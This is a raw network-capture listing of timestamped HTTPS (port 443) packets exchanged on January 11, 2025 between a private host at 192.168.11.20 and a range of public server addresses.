Jan 11, 2025 07:54:33.621603966 CET	51950	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:33.621643066 CET	443	51950	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:33.640831947 CET	443	64133	23.78.12.23	192.168.11.20
Jan 11, 2025 07:54:33.641123056 CET	443	64133	23.78.12.23	192.168.11.20
Jan 11, 2025 07:54:33.641321898 CET	64133	443	192.168.11.20	23.78.12.23
Jan 11, 2025 07:54:33.641582966 CET	64133	443	192.168.11.20	23.78.12.23
Jan 11, 2025 07:54:33.641616106 CET	443	64133	23.78.12.23	192.168.11.20
Jan 11, 2025 07:54:33.649892092 CET	58970	443	192.168.11.20	35.213.89.133
Jan 11, 2025 07:54:33.649946928 CET	443	58970	35.213.89.133	192.168.11.20
Jan 11, 2025 07:54:33.650111914 CET	58970	443	192.168.11.20	35.213.89.133
Jan 11, 2025 07:54:33.650269985 CET	58970	443	192.168.11.20	35.213.89.133
Jan 11, 2025 07:54:33.650290966 CET	443	58970	35.213.89.133	192.168.11.20
Jan 11, 2025 07:54:33.652801037 CET	61880	443	192.168.11.20	34.235.241.123
Jan 11, 2025 07:54:33.664082050 CET	62279	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:33.664134979 CET	443	62279	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:33.664387941 CET	62279	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:33.664525032 CET	62279	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:33.664561987 CET	443	62279	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:33.667548895 CET	51950	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:33.707149029 CET	443	61880	34.235.241.123	192.168.11.20
Jan 11, 2025 07:54:33.707300901 CET	443	61880	34.235.241.123	192.168.11.20
Jan 11, 2025 07:54:33.707444906 CET	61880	443	192.168.11.20	34.235.241.123
Jan 11, 2025 07:54:33.708007097 CET	61880	443	192.168.11.20	34.235.241.123
Jan 11, 2025 07:54:33.708046913 CET	443	61880	34.235.241.123	192.168.11.20
Jan 11, 2025 07:54:33.708678007 CET	64557	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.708734989 CET	443	64557	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.709103107 CET	64557	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.709314108 CET	64557	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.709352016 CET	443	64557	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.721105099 CET	443	62695	104.19.129.76	192.168.11.20
Jan 11, 2025 07:54:33.721227884 CET	443	62695	104.19.129.76	192.168.11.20
Jan 11, 2025 07:54:33.721357107 CET	62695	443	192.168.11.20	104.19.129.76
Jan 11, 2025 07:54:33.721515894 CET	62695	443	192.168.11.20	104.19.129.76
Jan 11, 2025 07:54:33.721544981 CET	443	62695	104.19.129.76	192.168.11.20
Jan 11, 2025 07:54:33.763712883 CET	63597	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:33.763766050 CET	443	63597	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:33.763887882 CET	63597	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:33.764363050 CET	63597	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:33.764383078 CET	443	63597	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:33.768485069 CET	64995	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:33.768532991 CET	443	64995	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:33.768827915 CET	64995	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:33.769027948 CET	64995	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:33.769057989 CET	443	64995	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:33.828829050 CET	443	51950	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:33.828979015 CET	443	51950	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:33.829219103 CET	51950	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:33.839204073 CET	51950	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:33.839204073 CET	51950	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:33.839246988 CET	443	51950	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:33.839504004 CET	51950	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:33.839579105 CET	60388	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:33.839631081 CET	443	60388	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:33.839828014 CET	60388	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:33.840017080 CET	60388	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:33.840054989 CET	443	60388	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:33.883090019 CET	443	63297	35.245.40.102	192.168.11.20
Jan 11, 2025 07:54:33.883452892 CET	63297	443	192.168.11.20	35.245.40.102
Jan 11, 2025 07:54:33.883488894 CET	443	63297	35.245.40.102	192.168.11.20
Jan 11, 2025 07:54:33.886240959 CET	443	63297	35.245.40.102	192.168.11.20
Jan 11, 2025 07:54:33.886528015 CET	63297	443	192.168.11.20	35.245.40.102
Jan 11, 2025 07:54:33.888411045 CET	63297	443	192.168.11.20	35.245.40.102
Jan 11, 2025 07:54:33.888573885 CET	63297	443	192.168.11.20	35.245.40.102
Jan 11, 2025 07:54:33.888607025 CET	443	63297	35.245.40.102	192.168.11.20
Jan 11, 2025 07:54:33.888669014 CET	443	63297	35.245.40.102	192.168.11.20
Jan 11, 2025 07:54:33.894778013 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.895137072 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.895180941 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.897994995 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.898171902 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.898602009 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.898695946 CET	443	63999	35.208.249.213	192.168.11.20
Jan 11, 2025 07:54:33.898838043 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.898876905 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.898895025 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.898895025 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.899040937 CET	63999	443	192.168.11.20	35.208.249.213
Jan 11, 2025 07:54:33.899044037 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.899077892 CET	443	63999	35.208.249.213	192.168.11.20
Jan 11, 2025 07:54:33.901818037 CET	443	63999	35.208.249.213	192.168.11.20
Jan 11, 2025 07:54:33.902053118 CET	63999	443	192.168.11.20	35.208.249.213
Jan 11, 2025 07:54:33.904230118 CET	63999	443	192.168.11.20	35.208.249.213
Jan 11, 2025 07:54:33.904532909 CET	443	63999	35.208.249.213	192.168.11.20
Jan 11, 2025 07:54:33.904536963 CET	63999	443	192.168.11.20	35.208.249.213
Jan 11, 2025 07:54:33.930788040 CET	63297	443	192.168.11.20	35.245.40.102
Jan 11, 2025 07:54:33.930821896 CET	443	63297	35.245.40.102	192.168.11.20
Jan 11, 2025 07:54:33.946232080 CET	443	63999	35.208.249.213	192.168.11.20
Jan 11, 2025 07:54:33.946801901 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.946830988 CET	63999	443	192.168.11.20	35.208.249.213
Jan 11, 2025 07:54:33.946835995 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.946863890 CET	443	63999	35.208.249.213	192.168.11.20
Jan 11, 2025 07:54:33.953999996 CET	54183	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:33.954051018 CET	443	54183	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:33.954124928 CET	54710	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:33.954159975 CET	54183	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:33.954174042 CET	443	54710	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:33.954320908 CET	54710	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:33.954381943 CET	54183	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:33.954406023 CET	443	54183	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:33.954468012 CET	54710	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:33.954509974 CET	443	54710	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:33.954838037 CET	53380	443	192.168.11.20	204.79.197.219
Jan 11, 2025 07:54:33.954884052 CET	443	53380	204.79.197.219	192.168.11.20
Jan 11, 2025 07:54:33.954952002 CET	61086	443	192.168.11.20	204.79.197.219
Jan 11, 2025 07:54:33.954998016 CET	443	61086	204.79.197.219	192.168.11.20
Jan 11, 2025 07:54:33.955096006 CET	53380	443	192.168.11.20	204.79.197.219
Jan 11, 2025 07:54:33.955178976 CET	53380	443	192.168.11.20	204.79.197.219
Jan 11, 2025 07:54:33.955185890 CET	61086	443	192.168.11.20	204.79.197.219
Jan 11, 2025 07:54:33.955200911 CET	443	53380	204.79.197.219	192.168.11.20
Jan 11, 2025 07:54:33.955281019 CET	61086	443	192.168.11.20	204.79.197.219
Jan 11, 2025 07:54:33.955307007 CET	443	61086	204.79.197.219	192.168.11.20
Jan 11, 2025 07:54:33.965188026 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.965233088 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.965250969 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.965270042 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.965404987 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.965457916 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.965457916 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.965498924 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.965538979 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.965560913 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.978650093 CET	63297	443	192.168.11.20	35.245.40.102
Jan 11, 2025 07:54:33.993638992 CET	63999	443	192.168.11.20	35.208.249.213
Jan 11, 2025 07:54:33.993761063 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.070517063 CET	443	63597	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:34.070885897 CET	63597	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:34.070929050 CET	443	63597	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:34.073760033 CET	443	63597	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:34.073985100 CET	63597	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:34.075439930 CET	63597	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:34.075556040 CET	63597	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:34.075588942 CET	443	63597	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:34.075747967 CET	443	63597	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:34.077526093 CET	443	64557	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.077848911 CET	64557	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.077886105 CET	443	64557	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.080606937 CET	443	64557	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.080862045 CET	64557	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.081144094 CET	64557	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.081259012 CET	64557	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.081276894 CET	443	64557	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.081399918 CET	443	64557	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.088087082 CET	443	62279	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.088499069 CET	62279	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.088535070 CET	443	62279	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.091334105 CET	443	62279	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.091581106 CET	62279	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.092751026 CET	62279	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.092839003 CET	62279	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.092860937 CET	443	62279	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.093014956 CET	443	62279	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.105753899 CET	443	60388	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:34.106055021 CET	60388	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:34.106092930 CET	443	60388	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:34.107139111 CET	443	60388	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:34.107489109 CET	60388	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:34.107610941 CET	60388	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:34.107634068 CET	443	60388	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:34.107777119 CET	443	60388	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:34.117322922 CET	63597	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:34.117361069 CET	443	63597	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:34.132296085 CET	64557	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.132318020 CET	443	64557	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.148240089 CET	60388	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:34.148263931 CET	62279	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.148276091 CET	443	62279	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.150831938 CET	443	63999	35.208.249.213	192.168.11.20
Jan 11, 2025 07:54:34.150923014 CET	443	63999	35.208.249.213	192.168.11.20
Jan 11, 2025 07:54:34.151057959 CET	63999	443	192.168.11.20	35.208.249.213
Jan 11, 2025 07:54:34.164180994 CET	63597	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:34.176069975 CET	443	64995	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.176388979 CET	64995	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.176419973 CET	443	64995	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.179152966 CET	443	64995	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.179446936 CET	64995	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.180253983 CET	64557	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.180532932 CET	64995	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.180643082 CET	64995	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.180665970 CET	443	64995	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.180804014 CET	443	64995	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.196252108 CET	62279	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.198673010 CET	443	54183	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:34.199022055 CET	54183	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:34.199054003 CET	443	54183	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:34.199664116 CET	443	54710	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:34.199917078 CET	54710	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:34.199954033 CET	443	54710	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:34.202070951 CET	443	54183	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:34.202280998 CET	54183	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:34.202781916 CET	443	54710	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:34.203000069 CET	54710	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:34.203429937 CET	54183	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:34.203481913 CET	54710	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:34.203705072 CET	443	54183	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:34.203773022 CET	443	54710	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:34.218744993 CET	63999	443	192.168.11.20	35.208.249.213
Jan 11, 2025 07:54:34.218784094 CET	443	63999	35.208.249.213	192.168.11.20
Jan 11, 2025 07:54:34.227025032 CET	64995	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.227060080 CET	443	64995	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.233905077 CET	443	62279	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.234035015 CET	443	62279	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.234128952 CET	62279	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.234169006 CET	62279	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.237385035 CET	62279	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.237385035 CET	62279	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.237428904 CET	443	62279	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.237636089 CET	62279	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.237832069 CET	61964	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.237886906 CET	443	61964	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.238069057 CET	61964	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.238297939 CET	61964	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.238342047 CET	443	61964	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.257956982 CET	54183	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:34.257996082 CET	443	54183	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:34.260020018 CET	54710	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:34.260056973 CET	443	54710	23.213.53.36	192.168.11.20
Jan 11, 2025 07:54:34.273869991 CET	64995	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.283633947 CET	443	58970	35.213.89.133	192.168.11.20
Jan 11, 2025 07:54:34.283972025 CET	58970	443	192.168.11.20	35.213.89.133
Jan 11, 2025 07:54:34.284008026 CET	443	58970	35.213.89.133	192.168.11.20
Jan 11, 2025 07:54:34.286940098 CET	443	58970	35.213.89.133	192.168.11.20
Jan 11, 2025 07:54:34.287144899 CET	58970	443	192.168.11.20	35.213.89.133
Jan 11, 2025 07:54:34.288222075 CET	58970	443	192.168.11.20	35.213.89.133
Jan 11, 2025 07:54:34.288352966 CET	58970	443	192.168.11.20	35.213.89.133
Jan 11, 2025 07:54:34.288386106 CET	443	58970	35.213.89.133	192.168.11.20
Jan 11, 2025 07:54:34.288506031 CET	443	58970	35.213.89.133	192.168.11.20
Jan 11, 2025 07:54:34.291939020 CET	443	63297	35.245.40.102	192.168.11.20
Jan 11, 2025 07:54:34.292057991 CET	443	63297	35.245.40.102	192.168.11.20
Jan 11, 2025 07:54:34.292268038 CET	63297	443	192.168.11.20	35.245.40.102
Jan 11, 2025 07:54:34.292481899 CET	63297	443	192.168.11.20	35.245.40.102
Jan 11, 2025 07:54:34.292521000 CET	443	63297	35.245.40.102	192.168.11.20
Jan 11, 2025 07:54:34.304810047 CET	54183	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:34.305000067 CET	54710	443	192.168.11.20	23.213.53.36
Jan 11, 2025 07:54:34.315917015 CET	443	64995	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.316061974 CET	443	64995	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.316323042 CET	64995	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.316932917 CET	64995	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.316971064 CET	443	64995	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.317255020 CET	59675	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.317306995 CET	443	59675	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.317584038 CET	59675	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.317760944 CET	59675	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.317800999 CET	443	59675	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.331728935 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.331793070 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.332106113 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.332143068 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.332422972 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.332453012 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.332473040 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.332503080 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.332566977 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.332807064 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.332807064 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.332807064 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.332865953 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.333154917 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.335155964 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.335513115 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.335541010 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.335756063 CET	58970	443	192.168.11.20	35.213.89.133
Jan 11, 2025 07:54:34.335797071 CET	443	58970	35.213.89.133	192.168.11.20
Jan 11, 2025 07:54:34.336643934 CET	443	64557	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.336647034 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.336766958 CET	443	64557	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.336951017 CET	64557	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.337013006 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.337186098 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.337270975 CET	443	52471	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.337311029 CET	64557	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.337335110 CET	443	64557	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.343518972 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.343903065 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.343930006 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.345285892 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.345663071 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.345755100 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.345797062 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.345911980 CET	443	61086	204.79.197.219	192.168.11.20
Jan 11, 2025 07:54:34.346051931 CET	443	64969	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.346158981 CET	61086	443	192.168.11.20	204.79.197.219
Jan 11, 2025 07:54:34.346193075 CET	443	61086	204.79.197.219	192.168.11.20
Jan 11, 2025 07:54:34.346349001 CET	443	53380	204.79.197.219	192.168.11.20
Jan 11, 2025 07:54:34.346713066 CET	53380	443	192.168.11.20	204.79.197.219
Jan 11, 2025 07:54:34.346759081 CET	443	53380	204.79.197.219	192.168.11.20
Jan 11, 2025 07:54:34.349010944 CET	443	61086	204.79.197.219	192.168.11.20
Jan 11, 2025 07:54:34.349210978 CET	61086	443	192.168.11.20	204.79.197.219
Jan 11, 2025 07:54:34.349674940 CET	443	53380	204.79.197.219	192.168.11.20
Jan 11, 2025 07:54:34.349915028 CET	53380	443	192.168.11.20	204.79.197.219
Jan 11, 2025 07:54:34.350251913 CET	61086	443	192.168.11.20	204.79.197.219
Jan 11, 2025 07:54:34.350509882 CET	443	61086	204.79.197.219	192.168.11.20
Jan 11, 2025 07:54:34.350775003 CET	53380	443	192.168.11.20	204.79.197.219
Jan 11, 2025 07:54:34.351074934 CET	443	53380	204.79.197.219	192.168.11.20
Jan 11, 2025 07:54:34.351440907 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.351667881 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.351707935 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.351730108 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.381546974 CET	443	60388	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:34.381673098 CET	443	60388	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:34.381900072 CET	60388	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:34.381999016 CET	60388	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:34.382034063 CET	443	60388	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:34.382457018 CET	443	63597	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:34.382586956 CET	443	63597	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:34.382730961 CET	63597	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:34.382957935 CET	63597	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:34.382957935 CET	63597	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:34.382987976 CET	443	63597	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:34.383099079 CET	63597	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:34.383524895 CET	64609	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:34.383579016 CET	443	64609	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:34.383600950 CET	52471	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.383663893 CET	58970	443	192.168.11.20	35.213.89.133
Jan 11, 2025 07:54:34.383745909 CET	64609	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:34.383867979 CET	64609	443	192.168.11.20	20.33.55.12
Jan 11, 2025 07:54:34.383903027 CET	443	64609	20.33.55.12	192.168.11.20
Jan 11, 2025 07:54:34.398578882 CET	53380	443	192.168.11.20	204.79.197.219
Jan 11, 2025 07:54:34.398580074 CET	61086	443	192.168.11.20	204.79.197.219
Jan 11, 2025 07:54:34.398580074 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.398618937 CET	443	53380	204.79.197.219	192.168.11.20
Jan 11, 2025 07:54:34.398619890 CET	443	61086	204.79.197.219	192.168.11.20
Jan 11, 2025 07:54:34.398641109 CET	64969	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.445457935 CET	53380	443	192.168.11.20	204.79.197.219
Jan 11, 2025 07:54:34.445470095 CET	61086	443	192.168.11.20	204.79.197.219
Jan 11, 2025 07:54:34.450649977 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.450668097 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.450725079 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.450897932 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.450999975 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.450999975 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.451049089 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.451199055 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.451324940 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:34.451615095 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.451616049 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:34.513246059 CET	443	61964	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.513633013 CET	61964	443	192.168.11.20	68.67.160.186
Jan 11, 2025 07:54:34.513664007 CET	443	61964	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.514575005 CET	443	61964	68.67.160.186	192.168.11.20
Jan 11, 2025 07:54:34.514996052 CET	61964	443	192.168.11.20	68.67.160.186
